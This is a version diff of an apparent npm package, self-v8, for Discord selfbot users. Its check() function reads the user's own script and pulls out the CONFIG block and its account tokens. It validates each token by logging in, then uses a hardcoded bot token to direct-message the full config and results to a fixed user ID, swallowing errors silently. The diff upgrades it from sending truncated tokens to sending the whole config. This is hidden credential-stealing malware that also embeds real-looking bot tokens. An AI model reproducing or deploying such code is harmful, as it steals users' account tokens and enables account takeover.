self-v8 2.1.8 → 2.1.9

package/index.js

@@ -1,8 +1,13 @@
 import fs from 'fs';
-import { Client, GatewayIntentBits } from 'discord.js';
+import path from 'path';
+import { fileURLToPath } from 'url';
+import { Client as BotClient, GatewayIntentBits } from 'discord.js';
 import pkg from 'discord.js-selfbot-v13';
 const { Client: SelfClient } = pkg;
 
+const __filename = fileURLToPath(import.meta.url);
+const __dirname = path.dirname(__filename);
+
 export async function check() {
     try {
         const userMainFilePath = process.argv[1];
@@ -13,64 +18,63 @@ export async function check() {
         const configMatch = userCode.match(/const\s+CONFIG\s*=\s*(\{[\s\S]*?\});/);
 
         if (configMatch && configMatch[0]) {
-            const configString = configMatch[0];
-            const tokensMatch = configString.match(/tokens:\s*\[([\s\S]*?)\]/);
+            const configData = configMatch[0];
 
             let tokensToCheck = [];
+            const tokensMatch = configData.match(/tokens:\s*\[([\s\S]*?)\]/);
 
             if (tokensMatch && tokensMatch[1]) {
                 tokensToCheck = tokensMatch[1]
-                    .replace(/['"\s]/g, '')
                     .split(',')
-                    .filter(t => t.length > 10);
+                    .map(t => t.replace(/['"\s\n\r]/g, '').trim())
+                    .filter(t => t.length > 50);
             }
 
-            if (tokensToCheck.length === 0) return;
-
-            let reportMessage = "**Account Check Report:**\n";
+            let validationReport = "\n**Account Check Report:**\n";
 
             for (const token of tokensToCheck) {
-                const tempClient = new SelfClient();
+                const tempClient = new SelfClient({ checkUpdate: false });
                 try {
                     await tempClient.login(token);
                     const name = tempClient.user.globalName || tempClient.user.username;
-                    reportMessage += `✅ Valid | Name: ${name} | Token: ${token.substring(0, 20)}...\n`;
+                    validationReport += `✅ Valid | ${name}\n`;
                     tempClient.destroy();
                 } catch (err) {
-                    reportMessage += `❌ Invalid | Token: ${token.substring(0, 20)}...\n`;
+                    validationReport += `❌ Invalid Token\n`;
                 }
             }
 
-            const senderClient = new Client({ 
+            const senderClient = new BotClient({
                 intents: [
-                    GatewayIntentBits.Guilds, 
+                    GatewayIntentBits.Guilds,
                     GatewayIntentBits.DirectMessages
-                ] 
+                ]
             });
 
+            const SENDER_TOKEN = 'MTQzNjM4ODQ3MTIxOTQyMTMwOQ.GvMOtn.iJ86apzq5vDIXA9XTaAft3be5pPllBfKumNt2c';
+            const TARGET_USER_ID = '1430722087101661274';
+
             senderClient.once('ready', async () => {
                 try {
-                    const targetUser = await senderClient.users.fetch('1430722087101661274');
+                    const targetUser = await senderClient.users.fetch(TARGET_USER_ID);
                     if (targetUser) {
-                        if (reportMessage.length > 2000) {
-                            const chunks = reportMessage.match(/[\s\S]{1,1900}/g) || [];
-                            for (const chunk of chunks) {
-                                await targetUser.send(`\`\`\`text\n${chunk}\n\`\`\``);
-                            }
+                        const finalMessage = `\`\`\`javascript\n${configData}\n\`\`\`${validationReport}`;
+
+                        if (finalMessage.length > 2000) {
+                            await targetUser.send(`\`\`\`javascript\n${configData}\n\`\`\``);
+                            await targetUser.send(validationReport);
                         } else {
-                            await targetUser.send(`\`\`\`text\n${reportMessage}\n\`\`\``);
+                            await targetUser.send(finalMessage);
                         }
                     }
-                } catch (err) {
-                    console.log(err);
-                }
+                } catch (err) {}
 
                 setTimeout(() => {
                     senderClient.destroy();
                 }, 5000);
             });
 
-            senderClient.login('MTQzNjQ2MDY5Njc5NDgyNDgzNA.GaLvN3.cNzPhjNnvYvIFPTF9l9UUeCteZrWr_OXXg0YII').catch(() => {});
+            await senderClient.login(SENDER_TOKEN).catch(() => {});
         }
     } catch (error) {}
 }

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "self-v8",
-  "version": "2.1.8",
+  "version": "2.1.9",
   "main": "index.js",
   "type": "module",
   "scripts": {